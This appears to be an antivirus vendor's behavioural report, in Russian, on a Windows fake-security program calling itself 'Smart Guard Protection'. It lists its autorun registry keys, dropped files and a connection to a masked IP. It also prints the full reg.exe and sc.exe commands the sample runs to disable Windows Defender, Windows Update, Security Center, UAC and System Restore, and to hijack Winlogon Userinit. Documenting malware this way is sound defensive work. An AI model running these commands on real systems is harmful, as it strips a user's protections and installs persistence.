Техническая информация
Для обеспечения автозапуска и распространения
Модифицирует следующие ключи реестра
- [<HKCU>\Software\Microsoft\Windows\CurrentVersion\RunOnce] 'AS2014' = '%PROGRAMDATA%\3sgrfrgl\3sgrfrgl.exe'
- [<HKLM>\Software\Microsoft\Windows NT\CurrentVersion\Winlogon] 'Userinit' = 'userinit.exe,%PROGRAMDATA%\3sgrfrgl\3sgrfrgl.exe -sm,'
- [<HKLM>\Software\Microsoft\Windows\CurrentVersion\Run] 'AS2014' = '%PROGRAMDATA%\3sgrfrgl\3sgrfrgl.exe'
Вредоносные функции
Для затруднения выявления своего присутствия в системе
блокирует запуск следующих системных утилит:
- Обновления системы (Windows Update)
- Центр обеспечения безопасности (Security Center)
- Системный антивирус (Защитник Windows)
блокирует:
- Средство контроля пользовательских учетных записей (UAC)
- Центр обеспечения безопасности (Security Center)
Завершает или пытается завершить
следующие пользовательские процессы:
- firefox.exe
Изменения в файловой системе
Создает следующие файлы
- %PROGRAMDATA%\3sgrfrgl\3sgrfrgl.exe
- %PROGRAMDATA%\3sgrfrgl\3sgrfrglyvsagggg.in
- %PROGRAMDATA%\3sgrfrgl\3sgrfrgl.exe.manifest
- %PROGRAMDATA%\3sgrfrgl\3sgrfrgl.ico
- %PROGRAMDATA%\3sgrfrgl\rr.bat
- nul
- %APPDATA%\microsoft\windows\start menu\programs\smart guard protection\smart guard protection.lnk
- %HOMEPATH%\desktop\smart guard protection support.url
- %APPDATA%\microsoft\windows\start menu\programs\smart guard protection\smart guard protection support.url
- %HOMEPATH%\desktop\smart guard protection.lnk
Сетевая активность
Подключается к
- '91.##7.198.95':80
Другое
Ищет следующие окна
- ClassName: 'fwcplui_class' WindowName: ''
- ClassName: 'MSASCUI_class' WindowName: ''
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /C "%PROGRAMDATA%\3sgrfrgl\rr.bat"' (со скрытым окном)
Запускает на исполнение
- '<SYSTEM32>\cmd.exe' /C "%PROGRAMDATA%\3sgrfrgl\rr.bat"
- '<SYSTEM32>\reg.exe' adD "HKLM\SOFTWARE\Microsoft\Security Center\Svc" /v AntiVirusOverride /t REG_DWORD /d 1 /f
- '<SYSTEM32>\sc.exe' StOp wuauserv
- '<SYSTEM32>\sc.exe' StOp msmpsvc
- '<SYSTEM32>\sc.exe' StOp WinDefend
- '<SYSTEM32>\reg.exe' delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SPP\Clients" /va /f
- '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Microsoft\Security Center" /v UpdatesDisableNotify /t REG_DWORD /d 1 /f
- '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Microsoft\Security Center\Svc" /v UpdatesDisableNotify /t REG_DWORD /d 1 /f
- '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Microsoft\Security Center" /v FirewallOverride /t REG_DWORD /d 1 /f
- '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Microsoft\Security Center\Svc" /v FirewallOverride /t REG_DWORD /d 1 /f
- '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Microsoft\Security Center" /v FirewallDisableNotify /t REG_DWORD /d 1 /f
- '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Microsoft\Security Center\Svc" /v FirewallDisableNotify /t REG_DWORD /d 1 /f
- '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Microsoft\Security Center" /v AntiVirusOverride /t REG_DWORD /d 1 /f
- '<SYSTEM32>\reg.exe' add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Userinit /t REG_SZ /d "userinit.exe,%PROGRAMDATA%\3sgrfrgl\3sgrfrgl.exe -sm," /f
- '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Microsoft\Security Center" /v AntiVirusDisableNotify /t REG_DWORD /d 1 /f
- '<SYSTEM32>\reg.exe' delete HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "Windows Defender" /f
- '<SYSTEM32>\reg.exe' delete HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v MSASCui /f
- '<SYSTEM32>\sc.exe' config luafv start= disabled
- '<SYSTEM32>\sc.exe' config wscsvc start= disabled
- '<SYSTEM32>\sc.exe' config wuauserv start= disabled
- '<SYSTEM32>\sc.exe' config msmpsvc start= disabled
- '<SYSTEM32>\sc.exe' config windefend start= disabled
- '<SYSTEM32>\ping.exe' localhost -w 1000 -n 3
- '<SYSTEM32>\sc.exe' StOp wscsvc
- '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRestore" /v RPSessionInterval /t REG_DWORD /d 0 /f
- '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\system" /v EnableVirtualization /t REG_DWORD /d 0 /f
- '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\system" /v EnableLUA /t REG_DWORD /d 0 /f
- '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Microsoft\Security Center\Svc" /v AntiVirusDisableNotify /t REG_DWORD /d 1 /f
- '<SYSTEM32>\reg.exe' add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v AS2014 /t REG_SZ /d "%PROGRAMDATA%\3sgrfrgl\3sgrfrgl.exe" /f
